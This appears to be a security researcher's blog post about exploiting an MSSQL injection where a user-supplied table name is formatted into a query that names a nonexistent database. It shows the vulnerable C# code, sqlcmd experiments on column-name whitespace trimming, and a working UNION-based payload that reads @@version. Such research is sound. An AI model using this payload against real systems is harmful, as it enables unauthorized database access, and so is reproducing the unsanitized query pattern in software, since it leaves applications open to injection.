No Database No Table, how do you do MSSQL Injection?

One day, while reviewing the code of an ASP.NET website, I came across a special case of SQL Injection with Microsoft SQL Server, basically the form of SQL Injection is like this:

string sql = string.Format(
    "SELECT ReportsDB..{0}.* " +
    "FROM ReportsDB..{0} " + 
    "WHERE ReportsDB..{0}.Id = 1 "
, Request["table"]);
// ReportsDB doesn't exist

The first time I saw it, I thought it was just a simple SQL Injection that I could exploit as usual, I could be wrong. This code was found in a legacy API, there's actually no database called "ReportsDB" in that MSSQL server. If we try to inject stacked query, MSSQL will just respond error and won't execute the second query, because "ReportsDB" dosen't exist.

1> select ReportsDB..foobar; waitfor delay '00:00:03'; -- .*
2> go
Msg 4104, Level 16, State 1, Server 38edaa74cb29, Line 1
The multi-part identifier "ReportsDB..foobar" could not be bound.

Then I tried to use subquery to create a table called "ReportsDB" but got error again.

1> select ReportsDB..foobar from (select 1 as foobar) as ReportsDB;
2> go
Msg 207, Level 16, State 1, Server 38edaa74cb29, Line 1
Invalid column name ''.

"Invalid column name" is an interesting result, it means that MSSQL considers "ReportsDB..foobar" to be <table_name>.<column_name>.<something> instead of <database_name>.<schema_name>.<column_name>. The database_name is ReportsDB and column_name is an empty string now, the next question which I was thinking is that "Can I define a column_name with empty string using AS statement?". The answer is NO.

1> select ReportsDB..foobar from (select 1 as '') as ReportsDB;
2> go
Msg 1038, Level 15, State 4, Server 38edaa74cb29, Line 1
An object or column name is missing or empty. For SELECT INTO statements, verify each column has a name. For other statements, look for empty alias names. Aliases defined as "" or [] are not allowed. Change the alias to a valid name.

1> select ReportsDB..foobar from (select 1 as []) as ReportsDB;
2> go
Msg 1038, Level 15, State 4, Server 38edaa74cb29, Line 1
An object or column name is missing or empty. For SELECT INTO statements, verify each column has a name. For other statements, look for empty alias names. Aliases defined as "" or [] are not allowed. Change the alias to a valid name.

I also tried to create a column called ".foobar", which is a valid column name, but MSSQL never considers that the second dot of "ReportsDB..foobar" is the part of the column name.

1> select ReportsDB..foobar from (select 1 as [.foobar]) as ReportsDB;
2> go
Msg 207, Level 16, State 1, Server 38edaa74cb29, Line 1
Invalid column name ''.

It seems to end, but it can't be, can it?

Space Trimming to the Rescue

In MSSQL, trailing whitespace is valid when defining column names, and it does work if the statement of SELECT uses a column name that contains trailing whitespace.

1> select [ReportsDB].[a ] from (select 1 as [a ]) as ReportsDB;
2> go
a
-----------
          1

(1 rows affected)

But what if without whitespace in the first SELECT? It still works ..

1> select [ReportsDB].[a] from (select 1 as [a ]) as ReportsDB;
2> go
a
-----------
          1

(1 rows affected)

Even more whitespaces.

1> select [ReportsDB].[a     ] from (select 1 as [a ]) as ReportsDB;
2> go
a
-----------
          1

(1 rows affected)

1> select [ReportsDB].[a     ] from (select 1 as [a]) as ReportsDB;
2> go
a
-----------
          1

(1 rows affected)

Apparently, MSSQL does some kind of trimming for whitespace when processing column names. So what if you just use a single whitespace as the column name? The answer is "It still works".

1> select [ReportsDB].[ ] from (select 1 as [ ]) as ReportsDB;
2> go

-----------
          1

(1 rows affected)

MSSQL obviously does not allow you to use empty string in the [] expression in the SELECT statement. But wait a minute, do you remember what the SQL for the injection point looked like?

Well..

1> select ReportsDB..foobar from (select 1 as [ ]) as ReportsDB;
2> go
Msg 258, Level 15, State 1, Server 38edaa74cb29, Line 1
Cannot call methods on int.

IT WORKS..

MSSQL accepts empty string as column name with .. syntax. What's happening is that MSSQL considers ReportsDB. (empty string as column name) to be a valid field, 1 to be the value of this field, and int to be the date type of the field. It tried to look for a property named foobar under int data type but coudn't find it. The column name in the first SELECT is defined as an empty string, the column name in the subquery is defined as a whitespace, and MSSQL does some kind of whitespace trimming to assume that the two column names are the same, so it ends up working.

How do we define the property of a data type in SELECT?

In fact, we don't need to do this at all, why not just use existing objects in MSSQL? So I randomly chose a data type called geometry which has a lots of properies such as STY. In short, I constructed a SQL like the one below, and it worked perfectly!

1> select ReportsDB..STY from (select geometry::STGeomFromText('POINT(0 0)',0) as [ ]) as ReportsDB;
2> go

------------------------
                     0.0

(1 rows affected)

Finally, I managed to exploit this SQL Injection with a payload similar to the one below. What's even better is that it's UNION based.

?table=STY as id, @@version as data from (select geometry::STGeomFromText('POINT(0 0)',0) as [ ]) as ReportsDB --  

That's the short story I came across. MSSQL's T-SQL is very powerful, and there are probably more simple ways to exploit it, so it's always worth a try.